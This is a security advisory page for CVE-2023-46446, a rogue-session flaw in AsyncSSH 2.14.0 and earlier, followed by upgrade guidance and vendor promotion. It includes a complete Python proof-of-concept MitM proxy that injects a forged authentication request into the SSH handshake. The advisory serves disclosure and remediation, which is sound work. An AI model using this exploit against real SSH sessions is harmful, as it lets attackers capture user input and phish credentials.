Summary
AsyncSSH Rogue Session Attack
An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the remote end of an SSH client session via packet injection/removal and shell emulation.
Details
The rogue session attack targets any SSH client connecting to an AsyncSSH server, on which the attacker must have a shell account. The goal of the attack is to log the client into the attacker's account without the client being able to detect this. At that point, due to how SSH sessions interact with shell environments, the attacker has complete control over the remote end of the SSH session. The attacker receives all keyboard input by the user, completely controls the terminal output of the user's session, can send and receive data to/from forwarded network ports, and is able to create signatures with a forwarded SSH Agent, if any. The result is a complete break of the confidentiality and integrity of the secure channel, providing a strong vector for a targeted phishing campaign against the user. For example, the attacker can display a password prompt and wait for the user to enter the password, elevating the attacker's position to a MitM at the application layer and enabling perfect shell emulation.
The attacks work by the attacker injecting a chosen authentication request before the client's NewKeys. The authentication request sent by the attacker must be a valid authentication request containing his credentials. The attacker can use any authentication mechanism that does not require exchanging additional messages between client and server, such as password or publickey. Due to a state machine flaw, the AsyncSSH server accepts the unauthenticated user authentication request message and defers it until the client has requested the authentication protocol.
PoC
AsyncSSH 2.14.0 client (simple_client.py example) connecting to AsyncSSH 2.14.0 server (simple_server.py example)#!/usr/bin/python3
import socket
from threading import Thread
from binascii import unhexlify
from time import sleep
##################################################################################
## Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ##
## ##
## Variant: Unmodified variant (EXT_INFO by client required) ##
## ##
## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ##
## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ##
## ##
## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ##
##################################################################################
# IP and port for the TCP proxy to bind to
PROXY_IP = '127.0.0.1'
PROXY_PORT = 2222
# IP and port of the server
SERVER_IP = '127.0.0.1'
SERVER_PORT = 22
# Length of the individual messages
NEW_KEYS_LENGTH = 16
CLIENT_EXT_INFO_LENGTH = 60
# Additional data sent by the client after NEW_KEYS (excluding EXT_INFO)
ADDITIONAL_CLIENT_DATA_LENGTH = 60
newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
def contains_newkeys(data):
return newkeys_payload in data
rogue_userauth_request = unhexlify('000000440b320000000861747461636b65720000000e7373682d636f6e6e656374696f6e0000000870617373776f7264000000000861747461636b65720000000000000000000000')
def insert_rogue_authentication_request(data):
newkeys_index = data.index(newkeys_payload)
# Insert rogue authentication request and remove SSH_MSG_EXT_INFO
return data[:newkeys_index] + rogue_userauth_request + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH:]
def forward_client_to_server(client_socket, server_socket):
delay_next = False
try:
while True:
client_data = client_socket.recv(4096)
if delay_next:
delay_next = False
sleep(0.25)
if contains_newkeys(client_data):
print("[+] SSH_MSG_NEWKEYS sent by client identified!")
if len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:
print("[+] client_data does not contain all messages sent by the client yet. Receiving additional bytes until we have 156 bytes buffered!")
while len(client_data) < NEW_KEYS_LENGTH + CLIENT_EXT_INFO_LENGTH + ADDITIONAL_CLIENT_DATA_LENGTH:
client_data += client_socket.recv(4096)
print(f"[d] Original client_data before modification: {client_data.hex()}")
client_data = insert_rogue_authentication_request(client_data)
print(f"[d] Modified client_data with rogue authentication request: {client_data.hex()}")
delay_next = True
if len(client_data) == 0:
break
server_socket.send(client_data)
except ConnectionResetError:
print("[!] Client connection has been reset. Continue closing sockets.")
print("[!] forward_client_to_server thread ran out of data, closing sockets!")
client_socket.close()
server_socket.close()
def forward_server_to_client(client_socket, server_socket):
try:
while True:
server_data = server_socket.recv(4096)
if len(server_data) == 0:
break
client_socket.send(server_data)
except ConnectionResetError:
print("[!] Target connection has been reset. Continue closing sockets.")
print("[!] forward_server_to_client thread ran out of data, closing sockets!")
client_socket.close()
server_socket.close()
if __name__ == '__main__':
print("--- Proof of Concept for the rogue session attack (ChaCha20-Poly1305) ---")
mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mitm_socket.bind((PROXY_IP, PROXY_PORT))
mitm_socket.listen(5)
print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...")
try:
while True:
client_socket, client_addr = mitm_socket.accept()
print(f"[+] Accepted connection from: {client_addr}")
print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.")
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.connect((SERVER_IP, SERVER_PORT))
print("[+] Spawning new forwarding threads to handle client connection.")
Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()
Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()
except KeyboardInterrupt:
client_socket.close()
server_socket.close()
mitm_socket.close()
Impact
The impact heavily depends on the application logic implemented by the AsyncSSH server. In the worst case, the AsyncSSH server starts a shell for the authenticated user upon connection, switching the user to the authenticated one. In this case, the attacker can prepare a modified shell beforehand to perform perfect phishing attacks and become a MitM at the application layer. When the username of the authenticated user is not used beyond authentication, this vulnerability does not impact the connection's security.
CVE-2023-46446 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.14.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2023-46446? CVE-2023-46446 is a high-severity security vulnerability in asyncssh (pip), affecting versions < 2.14.1. It is fixed in 2.14.1.
- How severe is CVE-2023-46446? CVE-2023-46446 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of asyncssh are affected by CVE-2023-46446? asyncssh (pip) versions < 2.14.1 is affected.
- Is there a fix for CVE-2023-46446? Yes. CVE-2023-46446 is fixed in 2.14.1. Upgrade to this version or later.
- Is CVE-2023-46446 exploitable, and should I be worried? Whether CVE-2023-46446 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-46446 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-46446? Upgrade
asyncsshto 2.14.1 or later.